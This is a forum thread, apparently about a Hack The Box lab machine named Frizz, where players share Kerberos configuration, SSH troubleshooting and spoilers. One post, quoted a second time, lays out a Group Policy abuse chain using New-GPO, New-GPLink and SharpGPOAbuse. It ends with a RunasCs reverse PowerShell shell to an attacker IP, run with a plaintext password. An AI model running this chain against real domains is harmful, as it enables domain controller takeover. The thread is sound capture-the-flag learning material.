[TechArtificer]

ssh for f.* works for me but not with m.*

That *should* work as well, at least for me it did.
But as I also wrote, quite unstable. It works and suddenly stops working until the machine is reset.

[ent0xE]

if anyone still needs root, here, the last part for free:

after having ccache from m.schoolbus, connect via SSH and abuse GPO with:

#add new GPO
New-GPO -Name "doesnotmatter"

#add newlink to domain controllers
New-GPLink -Name "doesnotmatter" -Target "OU=Domain Controllers,DC=frizz,DC=htb"

#add m.schoolbus to localadmin group
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName doesnotmatter

#force group policy update
gpupdate /force

#send yourself a revshell with admin rights:
.\RunasC.exe "M.SchoolBus" '!suBcig@MehTed!R' powershell.exe -r 10.10.14.7:9001

the transfer of runasc and sharpgpoabuse is up to you

[Adith19051905]

krb5.conf

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    proxiable = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

sudo ntpdate 10.10.11.60

getTGT.py frizz.htb/f.frizzle

export KRB5CCNAME=f.frizzle.ccache

ssh f.frizzle@10.10.11.60

This work for me

i did everything right. still this error . hate this machine ..

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure.  Minor code may provide more information

[eyalzaba]

krb5.conf

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = true
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    proxiable = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

sudo ntpdate 10.10.11.60

getTGT.py frizz.htb/f.frizzle

export KRB5CCNAME=f.frizzle.ccache

ssh f.frizzle@10.10.11.60

This work for me

i did everything right. still this error . hate this machine ..

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure.  Minor code may provide more information

It should work, when you ssh, try to use: ssh -o GSSAPITrustDNS=no -o GSSAPIAuthentication=yes f.frizzle@frizz.htb

[TechArtificer]

It may also help to have /etc/hosts like this:

10.10.11.60    frizzdc.frizz.htb frizz.htb

So having the DC name as first entry.
This resolved some rDNS issues for me.

[sly]

i can't use the Runas to gain the revshell

login via evil-winrm

[adolfo]

sudo nmap -sS -n -Pn -p5985,5986 10.10.11.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-16 18:20 -03
Nmap scan report for 10.10.11.60
Host is up.

PORT    STATE    SERVICE
5985/tcp filtered wsman
5986/tcp filtered wsmans

* NO WORKING evil-winrm...

[sly]

sudo nmap -sS -n -Pn -p5985,5986 10.10.11.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-16 18:20 -03
Nmap scan report for 10.10.11.60
Host is up.

PORT    STATE    SERVICE
5985/tcp filtered wsman
5986/tcp filtered wsmans

* NO WORKING evil-winrm...

weird... it is on the release arena.

[ClearLotus]

This box is impossible with this configuration..I keep getting the same error too. ChatGPT cant even understand it

ssh -o GSSAPIAuthentication=no -o PubkeyAuthentication=no f.frizzle@frizz.htb

f.frizzle@frizz.htb: Permission denied (gssapi-with-mic,keyboard-interactive).

[zippo99]

if anyone still needs root, here, the last part for free:

after having ccache from m.schoolbus, connect via SSH and abuse GPO with:

#add new GPO
New-GPO -Name "doesnotmatter"

#add newlink to domain controllers
New-GPLink -Name "doesnotmatter" -Target "OU=Domain Controllers,DC=frizz,DC=htb"

#add m.schoolbus to localadmin group
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName doesnotmatter

#force group policy update
gpupdate /force

#send yourself a revshell with admin rights:
.\RunasC.exe "M.SchoolBus" '!suBcig@MehTed!R' powershell.exe -r 10.10.14.7:9001

the transfer of runasc and sharpgpoabuse is up to you

thanks for this! ^^
I'll add for anyone who is wondering why the GPO abuse attack works, run whoami /all as  M.SchoolBus and take a look at the groups that user is in. That's how you can figure out what attack path you need to follow to become root.